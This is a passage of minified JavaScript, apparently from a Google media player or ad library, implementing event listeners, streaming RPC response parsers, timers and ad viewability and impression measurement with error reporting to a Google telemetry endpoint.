g.q.toString=function(){if(this.j)return this.j;if(!this.C)return"";for(var x=[],T=Array.from(this.C.keys()),t=0;t<T.length;t++){var u=T[t],H=g.Ob(u);u=this.FF(u);for(var I=0;I<u.length;I++){var E=H;u[I]!==""&&(E+="="+g.Ob(u[I]));x.push(E)}}return this.j=x.join("&")};
g.q.clone=function(){var x=new M6;x.j=this.j;this.C&&(x.C=new Map(this.C),x.Z=this.Z);return x};g.TV(g.Up,g.W);var Tyh=[];g.q=g.Up.prototype;g.q.listen=function(x,T,t,u){Array.isArray(T)||(T&&(Tyh[0]=T.toString()),T=Tyh);for(var H=0;H<T.length;H++){var I=g.WQ(x,T[H],t||this.handleEvent,u||!1,this.Z||this);if(!I)break;this.C[I.key]=I}return this};
g.q.mx=function(x,T,t,u){return W7m(this,x,T,t,u)};
g.q.f2=function(x,T,t,u,H){if(Array.isArray(T))for(var I=0;I<T.length;I++)this.f2(x,T[I],t,u,H);else t=t||this.handleEvent,u=g.p4(u)?!!u.capture:!!u,H=H||this.Z||this,t=Jn(t),u=!!u,T=GA(x)?x.eN(T,t,u,H):x?(x=Cz(x))?x.eN(T,t,u,H):null:null,T&&(pz(T),delete this.C[T.key])};
g.q.removeAll=function(){g.Mg(this.C,function(x,T){this.C.hasOwnProperty(T)&&pz(x)},this);
this.C={}};
g.q.oU=function(){g.Up.uq.oU.call(this);this.removeAll()};
g.q.handleEvent=function(){throw Error("EventHandler.handleEvent not implemented");};DLi.prototype.isInputValid=function(){return this.j};b6.prototype.isInputValid=function(){return this.C!=3};
b6.prototype.HU=function(){return this.D};
b6.prototype.sb=function(){return!0};
b6.prototype.parse=function(x){function T(e){e&128&&rw(I,E,Z,"invalid tag");(e&7)!=2&&rw(I,E,Z,"invalid wire type");I.j=e>>>3;I.j!=1&&I.j!=2&&I.j!=15&&rw(I,E,Z,"unexpected tag");I.C=1;I.Z=0;I.K=0}
function t(e){I.K++;I.K==5&&e&240&&rw(I,E,Z,"message length too long");I.Z|=(e&127)<<(I.K-1)*7;e&128||(I.C=2,I.J=0,typeof Uint8Array!=="undefined"?I.T=new Uint8Array(I.Z):I.T=Array(I.Z),I.Z==0&&H())}
function u(e){I.T[I.J++]=e;I.J==I.Z&&H()}
function H(){if(I.j<15){var e={};e[I.j]=I.T;I.N.push(e)}I.C=0}
for(var I=this,E=x instanceof Array?x:new Uint8Array(x),Z=0;Z<E.length;){switch(I.C){case 3:rw(I,E,Z,"stream already broken");break;case 0:T(E[Z]);break;case 1:t(E[Z]);break;case 2:u(E[Z]);break;default:throw Error("unexpected parser state: "+I.C);}I.S++;Z++}x=I.N;I.N=[];return x.length>0?x:null};z2.prototype.isInputValid=function(){return this.C===null};
z2.prototype.HU=function(){return this.C};
z2.prototype.sb=function(){return!1};
z2.prototype.parse=function(x){this.C!==null&&NvC(this,x,"stream already broken");var T=null;try{var t=this.j;t.j||yn5(t,x,"stream already broken");t.C+=x;var u=Math.floor(t.C.length/4);if(u==0)var H=null;else{try{var I=jPV(t.C.slice(0,u*4))}catch(E){yn5(t,t.C,E.message)}t.Z+=u*4;t.C=t.C.slice(u*4);H=I}T=H===null?null:this.K.parse(H)}catch(E){NvC(this,x,E.message)}this.Z+=x.length;return T};var o93={INIT:0,PH:1,ET:2,wm:3,Lk:4,zo:5,STRING:6,bv:7,Lp:8,hv:9,MO:10,Rh:11,FB:12,NP:13,GW:14,AP:15,Ux:16,Ha:17,lC:18,ax:19,CG:20};g.q=Fi.prototype;g.q.isInputValid=function(){return this.T!=3};
g.q.HU=function(){return this.S};
g.q.done=function(){return this.T===2};
g.q.sb=function(){return!1};
g.q.parse=function(x){function T(){for(;M<x.length;)if(kL(x[M]))M++,I.j++;else break;return M<l}
function t(){for(var R;;){R=x[M++];if(!R)break;I.j++;switch(I.C){case e.INIT:R==="{"?I.C=e.ET:R==="["?I.C=e.Lk:kL(R)||hK(I,x,M);continue;case e.bv:case e.ET:if(kL(R))continue;if(I.C===e.bv)E.push(e.Lp);else if(R==="}"){H("{}");I.C=u();continue}else E.push(e.wm);R==='"'?I.C=e.STRING:hK(I,x,M);continue;case e.Lp:case e.wm:if(kL(R))continue;R===":"?(I.C===e.wm&&(E.push(e.wm),I.Z++),I.C=e.PH):R==="}"?(I.Z--,H(),I.C=u()):R===","?(I.C===e.wm&&E.push(e.wm),I.C=e.bv):hK(I,x,M);continue;case e.Lk:case e.PH:if(kL(R))continue;
if(I.C===e.Lk)if(I.Z++,I.C=e.PH,R==="]"){I.Z--;if(I.Z===0){I.C=e.zo;return}H("[]");I.C=u();continue}else E.push(e.zo);R==='"'?I.C=e.STRING:R==="{"?I.C=e.ET:R==="["?I.C=e.Lk:R==="t"?I.C=e.hv:R==="f"?I.C=e.FB:R==="n"?I.C=e.Ux:R!=="-"&&("0123456789".indexOf(R)!==-1?I.C=e.CG:hK(I,x,M));continue;case e.zo:if(R===",")E.push(e.zo),I.C=e.PH,I.Z===1&&(d=M);else if(R==="]"){I.Z--;if(I.Z===0)return;H();I.C=u()}else if(kL(R))continue;else hK(I,x,M);continue;case e.STRING:var Y=M;a:for(;;){for(;I.J>0;)if(R=x[M++],
I.J===4?I.J=0:I.J++,!R)break a;if(R==='"'&&!I.N){I.C=u();break}if(R==="\\"&&!I.N&&(I.N=!0,R=x[M++],!R))break;if(I.N)if(I.N=!1,R==="u"&&(I.J=1),R=x[M++])continue;else break;Z.lastIndex=M;R=Z.exec(x);if(!R){M=x.length+1;break}M=R.index+1;R=x[R.index];if(!R)break}I.j+=M-Y;continue;case e.hv:if(!R)continue;R==="r"?I.C=e.MO:hK(I,x,M);continue;case e.MO:if(!R)continue;R==="u"?I.C=e.Rh:hK(I,x,M);continue;case e.Rh:if(!R)continue;R==="e"?I.C=u():hK(I,x,M);continue;case e.FB:if(!R)continue;R==="a"?I.C=e.NP:
hK(I,x,M);continue;case e.NP:if(!R)continue;R==="l"?I.C=e.GW:hK(I,x,M);continue;case e.GW:if(!R)continue;R==="s"?I.C=e.AP:hK(I,x,M);continue;case e.AP:if(!R)continue;R==="e"?I.C=u():hK(I,x,M);continue;case e.Ux:if(!R)continue;R==="u"?I.C=e.Ha:hK(I,x,M);continue;case e.Ha:if(!R)continue;R==="l"?I.C=e.lC:hK(I,x,M);continue;case e.lC:if(!R)continue;R==="l"?I.C=u():hK(I,x,M);continue;case e.ax:R==="."?I.C=e.CG:hK(I,x,M);continue;case e.CG:if("0123456789.eE+-".indexOf(R)!==-1)continue;else M--,I.j--,I.C=
u();continue;default:hK(I,x,M)}}}
function u(){var R=E.pop();return R!=null?R:e.PH}
function H(R){I.Z>1||(R||(R=d===-1?I.K+x.substring(m,M):x.substring(d,M)),I.ZZ?I.D.push(R):I.D.push(JSON.parse(R)),d=M)}
for(var I=this,E=I.jY,Z=I.uG,e=o93,l=x.length,m=0,d=-1,M=0;M<l;)switch(I.T){case 3:return hK(I,x,M),null;case 2:return T()&&hK(I,x,M),null;case 0:if(T()){var A=x[M++];I.j++;if(A==="["){I.T=1;m=M;I.C=e.Lk;continue}else hK(I,x,M)}return null;case 1:return t(),I.Z===0&&I.C==e.zo?(I.T=2,I.K=x.substring(M)):I.K=d===-1?I.K+x.substring(m):x.substring(d),I.D.length>0?(A=I.D,I.D=[],A):null}return null};vL.prototype.isInputValid=function(){return this.T===null};
vL.prototype.HU=function(){return this.T};
vL.prototype.sb=function(){return!1};
vL.prototype.parse=function(x){function T(e){I.Z=6;I.T="The stream is broken @"+I.C+"/"+E+". Error: "+e+". With input:\n";throw Error(I.T);}
function t(){I.j=new Fi({Upv:!0,U2:!0})}
function u(e){if(e)for(var l=0;l<e.length;l++){var m={};m[1]=e[l];I.K.push(m)}}
function H(e){if(e){(I.D||e.length>1)&&T("extra status: "+e);I.D=!0;var l={};l[2]=e[0];I.K.push(l)}}
for(var I=this,E=0;E<x.length;){var Z;if(Z=I.Z!==2){a:{for(;E<x.length;){if(!kL(x[E])){Z=!0;break a}E++;I.C++}Z=!1}Z=!Z}if(Z)return null;switch(I.Z){case 6:T("stream already broken");break;case 0:x[E]==="["?(I.Z=1,E++,I.C++):T("unexpected input token");break;case 1:x[E]==="["?(I.Z=2,t()):x[E]===","||x.slice(E,E+5)=="null,"?I.Z=3:x[E]==="]"?(I.Z=5,E++,I.C++):T("unexpected input token");break;case 2:Z=I.j.parse(x.substring(E));u(Z);I.j.done()?(I.Z=3,Z=I.j.K,I.C+=x.length-E-Z.length,x=Z,E=0):(I.C+=x.length-
E,E=x.length);break;case 3:x[E]===","||x.slice(E,E+5)=="null,"?(I.Z=4,t(),I.j.parse("["),E+=x[E]===","?1:5,I.C++):x[E]==="]"&&(I.Z=5,E++,I.C++);break;case 4:Z=I.j.parse(x.substring(E));H(Z);I.j.done()?(I.Z=5,Z=I.j.K,I.C+=x.length-E-Z.length,x=Z,E=0):(I.C+=x.length-E,E=x.length);break;case 5:T("extra input after stream end")}}return I.K.length>0?(x=I.K,I.K=[],x):null};Vc.prototype.gU=function(){return this.C};
Vc.prototype.getStatus=function(){return this.T};
Vc.prototype.ZZ=function(x){x=x.target;try{if(x==this.C)a:{var T=g.wd(this.C),t=this.C.Z,u=this.C.getStatus(),H=g.XH(this.C);x=[];if(g.xF(this.C)instanceof Array){var I=g.xF(this.C);I.length>0&&I[0]instanceof Uint8Array&&(this.S=!0,x=I)}if(!(T<3||T==3&&!H&&x.length==0))if(u=u==200||u==206,T==4&&(t==8?gw(this,7):t==7?gw(this,8):u||gw(this,3)),this.Z||(this.Z=Jn3(this.C),this.Z==null&&gw(this,5)),this.T>2)BL(this);else{if(x.length>this.j){var E=x.length;t=[];try{if(this.Z.sb())for(var Z=0;Z<E;Z++){var e=
this.Z.parse(Array.from(x[Z]));e&&(t=t.concat(e))}else{e="";if(!this.D){if(typeof TextDecoder==="undefined")throw Error("TextDecoder is not supported by this browser.");this.D=new TextDecoder}for(Z=0;Z<E;Z++)e+=this.D.decode(x[Z],{stream:T==4&&Z==E-1});t=this.Z.parse(e)}x.splice(0,E);t&&this.K(t)}catch(m){gw(this,5);BL(this);break a}}else if(H.length>this.j){Z=H.slice(this.j);this.j=H.length;try{var l=this.Z.parse(Z);l!=null&&this.K&&this.K(l)}catch(m){gw(this,5);BL(this);break a}}T==4?(H.length!=
0||this.S?gw(this,2):gw(this,4),BL(this)):gw(this,1)}}}catch(m){gw(this,6),BL(this)}};g.q=Cxv.prototype;g.q.s_=function(x,T){var t=this.Z[x];t||(t=[],this.Z[x]=t);t.push(T);return this};
g.q.addListener=function(x,T){this.s_(x,T);return this};
g.q.removeListener=function(x,T){var t=this.Z[x];t&&g.XF(t,T);(x=this.C[x])&&g.XF(x,T);return this};
g.q.once=function(x,T){var t=this.C[x];t||(t=[],this.C[x]=t);t.push(T);return this};
g.q.LRc=function(x){var T=this.Z.data;T&&Q03(x,T);(T=this.C.data)&&Q03(x,T);this.C.data=[]};
g.q.CDy=function(){switch(this.j.getStatus()){case 1:WL(this,"readable");break;case 5:case 6:case 4:case 7:case 3:WL(this,"error");break;case 8:WL(this,"close");break;case 2:WL(this,"end")}};pQJ.prototype.serverStreaming=function(x,T,t,u){var H=this,I=x.substring(0,x.length-u.name.length);return Ozf(function(E){var Z=E.JZ,e=E.getMetadata(),l=xYi(H,!1);e=TdJ(H,e,l,I+Z.getName());var m=o5H(l,Z.Z,!0);E=Z.C(E.V$);l.send(e,"POST",E);return m},this.K).call(this,u.N(T,t))};sZ3.prototype.create=function(x,T){return XQ3(this.C,this.Z+"/$rpc/google.internal.waa.v1.Waa/Create",x,T||{},fCh)};var t0d=1,Op=new WeakMap;g.P(Dr,g.W);Dr.prototype.signal=function(){var x=new N6(!1);this.signals.add(x);g.y(this,x);return x};
Dr.prototype.yO=function(x){return yc(this,x).yO()};
g.P(N6,g.W);g.q=N6.prototype;g.q.QD=function(){var x=this,T=t0d++;JK(function(){uHv(x,T)});
return T};
g.q.detach=function(x){var T=this;JK(function(){var t=T.slots.get(x);t&&t.eh()})};
g.q.value=function(x){return this.promise(!0,x)};
g.q.yO=function(){return this.u1};
g.q.next=function(x){return this.promise(!1,x)};
g.q.promise=function(x,T){var t=this,u=XPf();JK(function(){if(t.T9())u.reject(new Pd("Signal initially disposed"));else if(T&&T.T9())u.reject(new Pd("Owner initially disposed"));else if(x&&t.PA&&t.OE)u.resolve(t.u1);else if(t.T8.add(u),RZ(u.promise,function(){t.T8.delete(u)}),T){var H=function(){u.reject(new Pd("Owner asynchronously disposed"))};
RZ(u.promise,function(){var I=Op.get(T);I&&g.XF(I,H)});
iq4(T,H)}});
return u.promise};
g.q.oU=function(){var x=this;g.W.prototype.oU.call(this);JK(function(){for(var T=g.S(x.slots.values()),t=T.next();!t.done;t=T.next())t=t.value.eh,t();x.slots.clear();T=g.S(x.T8);for(t=T.next();!t.done;t=T.next())t.value.reject(new Pd("Signal asynchronously disposed"));x.T8.clear()})};
var Qc=[],ps=!1;g.P(fs,g.W);fs.prototype.start=function(){var x=this;if(this.T9())throw new Ks("Cannot start a disposed timer.");if(!this.D){this.K=0;if(this.N){var T=Date.now();this.handle=setInterval(function(){x.K=x.milliseconds>0?Math.trunc((Date.now()-T)/x.milliseconds):x.K+1;var t;(t=x.Z)==null||t.resolve();x.Z=void 0;if(x.j){var u;(u=x.C)!=null&&Cs(yc(u,x.j),x)}x.P9.EV(x)},this.milliseconds)}else this.handle=setTimeout(function(){x.state=3;
x.handle=void 0;x.K=1;var t;(t=x.Z)==null||t.resolve();x.Z=void 0;if(x.j){var u;(u=x.C)!=null&&Cs(yc(u,x.j),x)}x.P9.EV(x)},this.milliseconds);
this.state=1}};
fs.prototype.cancel=function(){if(this.D){this.clear();this.state=2;var x;(x=this.Z)==null||x.reject(new ww);var T;(T=this.P9.Kb)==null||T.call(this);if(this.T){var t;(t=this.C)!=null&&Cs(yc(t,this.T))}}};
fs.prototype.oU=function(){this.clear();var x;(x=this.Z)==null||x.reject(new Ks);this.state=4;g.W.prototype.oU.call(this)};
fs.prototype.clear=function(){this.N?clearInterval(this.handle):clearTimeout(this.handle);this.handle=void 0};
g.i3.Object.defineProperties(fs.prototype,{D:{configurable:!0,enumerable:!0,get:function(){return this.state===1}},
isCancelled:{configurable:!0,enumerable:!0,get:function(){return this.state===2}},
isExpired:{configurable:!0,enumerable:!0,get:function(){return this.state===3}},
tick:{configurable:!0,enumerable:!0,get:function(){return this.K}},
J:{configurable:!0,enumerable:!0,get:function(){switch(this.state){case 0:case 1:return this.Z!=null||(this.Z=new g.mn),this.Z.promise;case 3:return Promise.resolve();case 2:return Promise.reject(new ww("Timer has been cancelled."));case 4:return Promise.reject(new Ks("Timer has been disposed."));default:$Z(this.state)}}},
EV:{configurable:!0,enumerable:!0,get:function(){if(this.T9())throw new Ks("Cannot attach a signal to a disposed timer.");this.j||(this.C!=null||(this.C=new Dr(this)),this.j=this.C.signal());return this.j}},
Kb:{configurable:!0,enumerable:!0,get:function(){if(this.T9())throw new Ks("Cannot attach a signal to a disposed timer.");this.T||(this.C!=null||(this.C=new Dr(this)),this.T=this.C.signal());return this.T}}});
g.P(ww,M9);g.P(Ks,M9);g.P(Xi,Nq);g.q=Xi.prototype;g.q.isReady=function(){return!!this.C};
g.q.ready=function(){var x=this;return g.G(function(T){return g.v(T,x.j.promise,0)})};
g.q.Dz=function(x){return qef(this,this.logger.Rj("c",x===void 0?1:x,this.rP.Dz(A5().C,null)),new ub(10,"JVZ:Timeout"))};
g.q.prefetch=function(){this.state===1&&(this.lW=this.Dz())};
g.q.start=function(){if(this.state===1){this.state=2;var x=new sW(this.logger,"r");this.ready().finally(function(){return void x.done()});
jZJ(this)}};
g.q.Fw=function(x){ex3(this,x);return J5(this,E5m(x),!1)};
g.q.N_=function(x){ex3(this,x);return J5(this,E5m(x),!0)};var MLi={NONE:0,dbu:1},KDC={UQ:0,zsZ:1,oKj:2,L3G:3},n$={vR:"a",EXW:"d",VIDEO:"v"};Tu.prototype.isVisible=function(){return this.hx?this.Jo>=.3:this.Jo>=.5};var qj={s4f:0,r$G:1},fHi={NONE:0,xCG:1,c$f:2};oF.prototype.getValue=function(){return this.Z};
g.P(t8,oF);t8.prototype.j=function(x){this.Z===null&&g.bu(this.K,x)&&(this.Z=x)};
g.P(sL,oF);sL.prototype.j=function(x){this.Z===null&&typeof x==="number"&&(this.Z=x)};
g.P(uO,oF);uO.prototype.j=function(x){this.Z===null&&typeof x==="string"&&(this.Z=x)};$a.prototype.disable=function(){this.Z=!1};
$a.prototype.enable=function(){this.Z=!0};
$a.prototype.isEnabled=function(){return this.Z};
$a.prototype.reset=function(){this.C={};this.Z=!0;this.j={}};var Va=document,lO=window;var x6H=!g.jW&&!Dd();Zj.prototype.now=function(){return 0};
Zj.prototype.Z=function(){return 0};
Zj.prototype.j=function(){return 0};
Zj.prototype.C=function(){return 0};g.P(eC,Zj);eC.prototype.now=function(){return jC()&&lO.performance.now?lO.performance.now():Zj.prototype.now.call(this)};
eC.prototype.Z=function(){return jC()&&lO.performance.memory?lO.performance.memory.totalJSHeapSize||0:Zj.prototype.Z.call(this)};
eC.prototype.j=function(){return jC()&&lO.performance.memory?lO.performance.memory.usedJSHeapSize||0:Zj.prototype.j.call(this)};
eC.prototype.C=function(){return jC()&&lO.performance.memory?lO.performance.memory.jsHeapSizeLimit||0:Zj.prototype.C.call(this)};var Pfq=ZH(function(){var x=!1;try{var T=Object.defineProperty({},"passive",{get:function(){x=!0}});
g.BX.addEventListener("test",null,T)}catch(t){}return x});SeC.prototype.isVisible=function(){return Mj(Va)===1};var Yef={MFG:"allow-forms",RWy:"allow-modals",fOc:"allow-orientation-lock",nLQ:"allow-pointer-lock",gLv:"allow-popups",BVY:"allow-popups-to-escape-sandbox",cm9:"allow-presentation",qt9:"allow-same-origin",FsW:"allow-scripts",NVZ:"allow-top-navigation",GcU:"allow-top-navigation-by-user-activation"},zx3=ZH(function(){return UYD()});var v5f=RegExp("^https?://(\\w|-)+\\.cdn\\.ampproject\\.(net|org)(\\?|/|$)");cD.prototype.sY=function(x,T,t){x=x+"//"+T+t;var u=n5J(this)-t.length;if(u<0)return"";this.C.sort(function(l,m){return l-m});
t=null;T="";for(var H=0;H<this.C.length;H++)for(var I=this.C[H],E=this.Z[I],Z=0;Z<E.length;Z++){if(!u){t=t==null?I:t;break}var e=LDX(E[Z],this.j,",$");if(e){e=T+e;if(u>=e.length){u-=e.length;x+=e;T=this.j;break}t=t==null?I:t}}u="";t!=null&&(u=""+T+"trn="+t);return x+u};h8.prototype.setInterval=function(x,T){return lO.setInterval(x,T)};
h8.prototype.clearInterval=function(x){lO.clearInterval(x)};
h8.prototype.setTimeout=function(x,T){return lO.setTimeout(x,T)};
h8.prototype.clearTimeout=function(x){lO.clearTimeout(x)};g.P(Vi,ag);Vi.prototype.C=sy5([0,Afd,SH9,-2,UfE]);var wdC={my7:1,KZ:2,zGv:3,1:"POSITION",2:"VISIBILITY",3:"MONITOR_VISIBILITY"};Xdq.prototype.gJ=function(x){if(typeof x==="string"&&x.length!=0){var T=this.Ru;if(T.Z){x=x.split("&");for(var t=x.length-1;t>=0;t--){var u=x[t].split("="),H=decodeURIComponent(u[0]);u.length>1?(u=decodeURIComponent(u[1]),u=/^[0-9]+$/g.exec(u)?parseInt(u,10):u):u=1;(H=T.C[H])&&H.j(u)}}}};var HN=null;var BD=g.BX.performance,sP9=!!(BD&&BD.mark&&BD.measure&&BD.clearMarks),aF=ZH(function(){var x;if(x=sP9){var T=T===void 0?window:T;if(HN===null){HN="";try{x="";try{x=T.top.location.hash}catch(u){x=T.location.hash}if(x){var t=x.match(/\bdeid=([\d,]+)/);HN=t?t[1]:""}}catch(u){}}T=HN;x=!!T.indexOf&&T.indexOf("1337")>=0}return x});
g7.prototype.disable=function(){this.C=!1;this.events!==this.Z.google_js_reporting_queue&&(aF()&&g.lg(this.events,ulV),this.events.length=0)};
g7.prototype.start=function(x,T){if(!this.C)return null;var t=t9D()||oFX();x=new sAC(x,T,t);T="goog_"+x.label+"_"+x.uniqueId+"_start";BD&&aF()&&BD.mark(T);return x};
g7.prototype.end=function(x){if(this.C&&typeof x.value==="number"){var T=t9D()||oFX();x.duration=T-x.value;T="goog_"+x.label+"_"+x.uniqueId+"_end";BD&&aF()&&BD.mark(T);!this.C||this.events.length>2048||this.events.push(x)}};$qm.prototype.s1=function(x,T,t,u,H){H=H||this.LY;try{var I=new cD;I.C.push(1);I.Z[1]=Ya("context",x);T.error&&T.meta&&T.id||(T=new Nj(J8(T)));if(T.msg){var E=T.msg.substring(0,512);I.C.push(2);I.Z[2]=Ya("msg",E)}var Z=T.meta||{};if(this.HT)try{this.HT(Z)}catch(A){}if(u)try{u(Z)}catch(A){}u=[Z];I.C.push(3);I.Z[3]=u;var e=Gl4();if(e.Z){var l=e.Z.url||"";I.C.push(4);I.Z[4]=Ya("top",l)}var m={url:e.C.url||""};if(e.C.url){var d=e.C.url.match(Gl);var M=FH(d[1],null,d[3],d[4])}else M="";l=[m,{url:M}];I.C.push(5);
I.Z[5]=l;xqf(this.C,H,I,t)}catch(A){try{xqf(this.C,H,{context:"ecmserr",rctx:x,msg:J8(A),url:e&&e.C.url},t)}catch(R){}}return this.Nc};
g.P(Nj,Ta3);var Dj,yi,WD=new g7;Dj=new function(){var x="https:";lO&&lO.location&&lO.location.protocol==="http:"&&(x="http:");this.Z=x;this.C=.01};
yi=new $qm;lO&&lO.document&&(lO.document.readyState=="complete"?ikX():WD.C&&d7(lO,"load",function(){ikX()}));var qWm=Date.now(),K$=-1,f$=-1,zzf,Xr=-1,w7=!1;g.q=x4.prototype;g.q.getHeight=function(){return this.bottom-this.top};
g.q.clone=function(){return new x4(this.top,this.right,this.bottom,this.left)};
g.q.contains=function(x){return this&&x?x instanceof x4?x.left>=this.left&&x.right<=this.right&&x.top>=this.top&&x.bottom<=this.bottom:x.x>=this.left&&x.x<=this.right&&x.y>=this.top&&x.y<=this.bottom:!1};
g.q.ceil=function(){this.top=Math.ceil(this.top);this.right=Math.ceil(this.right);this.bottom=Math.ceil(this.bottom);this.left=Math.ceil(this.left);return this};
g.q.floor=function(){this.top=Math.floor(this.top);this.right=Math.floor(this.right);this.bottom=Math.floor(this.bottom);this.left=Math.floor(this.left);return this};
g.q.round=function(){this.top=Math.round(this.top);this.right=Math.round(this.right);this.bottom=Math.round(this.bottom);this.left=Math.round(this.left);return this};
g.q.scale=function(x,T){T=typeof T==="number"?T:x;this.left*=x;this.right*=x;this.top*=T;this.bottom*=T;return this};s9.prototype.RH=function(x,T){return!!x&&(!(T===void 0?0:T)||this.volume==x.volume)&&this.j==x.j&&o_(this.C,x.C)&&!0};u2.prototype.yA=function(){return this.N};
u2.prototype.RH=function(x,T){return this.K.RH(x.K,T===void 0?!1:T)&&this.N==x.N&&o_(this.j,x.j)&&o_(this.D,x.D)&&this.C==x.C&&this.T==x.T&&this.Z==x.Z&&this.J==x.J};var uF9={currentTime:1,duration:2,isVpaid:4,volume:8,isYouTube:16,isPlaying:32},rT={bz:"start",I7:"firstquartile",Jh:"midpoint",CZ:"thirdquartile",COMPLETE:"complete",ERROR:"error",Yd:"metric",PAUSE:"pause",XX:"resume",vn:"skip",j1:"viewable_impression",eM:"mute",k8:"unmute",QV:"fullscreen",OQ:"exitfullscreen",dH:"bufferstart",K1:"bufferfinish",Dd:"fully_viewable_audible_half_duration_impression",VP:"measurable_impression",WR:"abandon",lV:"engagedview",R7:"impression",uV:"creativeview",sX:"loaded",
WZ7:"progress",CLOSE:"close",F07:"collapse",gGy:"overlay_resize",BPu:"overlay_unmeasurable_impression",cyv:"overlay_unviewable_impression",FZZ:"overlay_viewable_immediate_impression",qnQ:"overlay_viewable_end_of_session_impression",xS:"custom_metric_viewable",SP:"audio_audible",EQ:"audio_measurable",C1:"audio_impression"},B7i="start firstquartile midpoint thirdquartile resume loaded".split(" "),W0C=["start","firstquartile","midpoint","thirdquartile"],Fl3=["abandon"],p5={UNKNOWN:-1,bz:0,I7:1,Jh:2,
CZ:3,COMPLETE:4,Yd:5,PAUSE:6,XX:7,vn:8,j1:9,eM:10,k8:11,QV:12,OQ:13,Dd:14,VP:15,WR:16,lV:17,R7:18,uV:19,sX:20,xS:21,dH:22,K1:23,C1:27,EQ:28,SP:29};var jA3={lO7:"addEventListener",Fb9:"getMaxSize",NEy:"getScreenSize",Gtj:"getState",A$j:"getVersion",Z7Y:"removeEventListener",FOf:"isViewable"};g.q=g.Hf.prototype;g.q.clone=function(){return new g.Hf(this.left,this.top,this.width,this.height)};
g.q.contains=function(x){return x instanceof g.jo?x.x>=this.left&&x.x<=this.left+this.width&&x.y>=this.top&&x.y<=this.top+this.height:this.left<=x.left&&this.left+this.width>=x.left+x.width&&this.top<=x.top&&this.top+this.height>=x.top+x.height};
g.q.getSize=function(){return new g.lu(this.width,this.height)};
g.q.ceil=function(){this.left=Math.ceil(this.left);this.top=Math.ceil(this.top);this.width=Math.ceil(this.width);this.height=Math.ceil(this.height);return this};
g.q.floor=function(){this.left=Math.floor(this.left);this.top=Math.floor(this.top);this.width=Math.floor(this.width);this.height=Math.floor(this.height);return this};
g.q.round=function(){this.left=Math.round(this.left);this.top=Math.round(this.top);this.width=Math.round(this.width);this.height=Math.round(this.height);return this};
g.q.scale=function(x,T){T=typeof T==="number"?T:x;this.left*=x;this.width*=x;this.top*=T;this.height*=T;return this};var dq4={};bkf.prototype.update=function(x){x&&x.document&&(this.N=$4(!1,x,this.isMobileDevice),this.C=$4(!0,x,this.isMobileDevice),zu3(this,x),r53(this,x))};LE.prototype.cancel=function(){vD().clearTimeout(this.C);this.C=null};
LE.prototype.schedule=function(){var x=this,T=vD(),t=L$().C.C;this.C=T.setTimeout(Gu(t,Qi(143,function(){x.Z++;x.j.sample()})),Zki())};g.q=nE.prototype;g.q.gA=function(){return!1};
g.q.initialize=function(){return this.isInitialized=!0};
g.q.h5=function(){return this.C.Om};
g.q.uW=function(){return this.C.ZZ};
g.q.Zw=function(x,T){if(!this.ZZ||(T===void 0?0:T))this.ZZ=!0,this.Om=x,this.J=0,this.C!=this||gl(this)};
g.q.getName=function(){return this.C.nf};
g.q.Kx=function(){return this.C.FM()};
g.q.FM=function(){return{}};
g.q.lw=function(){return this.C.J};
g.q.nV=function(){var x=vf();x.C=$4(!0,this.j,x.isMobileDevice)};
g.q.g2=function(){r53(vf(),this.j)};
g.q.XM=function(){return this.K.C};
g.q.sample=function(){};
g.q.isActive=function(){return this.C.D};
g.q.A5=function(x){var T=this.C;this.C=x.lw()>=this.J?x:this;T!==this.C?(this.D=this.C.D,gl(this)):this.D!==this.C.D&&(this.D=this.C.D,gl(this))};
g.q.Ud=function(x){if(x.Z===this.C){var T=!this.K.RH(x,this.S);this.K=x;T&&huH(this)}};
g.q.O$=function(){return this.S};
g.q.dispose=function(){this.Hv=!0};
g.q.T9=function(){return this.Hv};g.q=Bf.prototype;g.q.observe=function(){return!0};
g.q.unobserve=function(){};
g.q.BV=function(x){this.T=x};
g.q.dispose=function(){if(!this.T9()){var x=this.Z;g.XF(x.T,this);x.S&&this.O$()&&FnX(x);this.unobserve();this.uG=!0}};
g.q.T9=function(){return this.uG};
g.q.Kx=function(){return this.Z.Kx()};
g.q.lw=function(){return this.Z.lw()};
g.q.h5=function(){return this.Z.h5()};
g.q.uW=function(){return this.Z.uW()};
g.q.A5=function(){};
g.q.Ud=function(){this.V3()};
g.q.O$=function(){return this.Hv};g.q=Wf.prototype;g.q.lw=function(){return this.C.lw()};
g.q.h5=function(){return this.C.h5()};
g.q.uW=function(){return this.C.uW()};
g.q.create=function(x,T,t){var u=null;this.C&&(u=this.BO(x,T,t),a_(this.C,u));return u};
g.q.BF=function(){return this.B0()};
g.q.B0=function(){return!1};
g.q.init=function(x){return this.C.initialize()?(a_(this.C,this),this.K=x,!0):!1};
g.q.A5=function(x){x.lw()==0&&this.K(x.h5(),this)};
g.q.Ud=function(){};
g.q.O$=function(){return!1};
g.q.dispose=function(){this.T=!0};
g.q.T9=function(){return this.T};
g.q.Kx=function(){return{}};Dt.prototype.add=function(x,T,t){++this.j;x=new V9f(x,T,t);this.C.push(new V9f(x.Z,x.C,x.j+this.j/4096));this.Z=!0;return this};gFC.prototype.toString=function(){var x="//pagead2.googlesyndication.com//pagead/gen_204",T=Nn(this.C);T.length>0&&(x+="?"+T);return x};J2.prototype.update=function(x,T,t){x&&(this.C+=T,this.Z+=T,this.K+=T,this.j=Math.max(this.j,this.K));if(t===void 0?!x:t)this.K=0};var Nai=[1,.75,.5,.3,0];CE.prototype.update=function(x,T,t,u,H,I){I=I===void 0?!0:I;T=H?Math.min(x,T):T;for(H=0;H<this.Z.length;H++){var E=this.Z[H],Z=T>0&&T>=E;E=!(x>0&&x>=E)||t;this.C[H].update(I&&Z,u,!I||E)}};KE.prototype.update=function(x,T,t,u){this.N=this.N!=-1?Math.min(this.N,T.Jo):T.Jo;this.jY=Math.max(this.jY,T.Jo);this.uG=this.uG!=-1?Math.min(this.uG,T.J$):T.J$;this.Om=Math.max(this.Om,T.J$);this.Ee.update(T.J$,t.J$,T.C,x,u);this.QU+=x;T.Jo===0&&(this.nf+=x);this.Z.update(T.Jo,t.Jo,T.C,x,u);t=u||t.hx!=T.hx?t.isVisible()&&T.isVisible():t.isVisible();T=!T.isVisible()||T.C;this.AQ.update(t,x,T)};
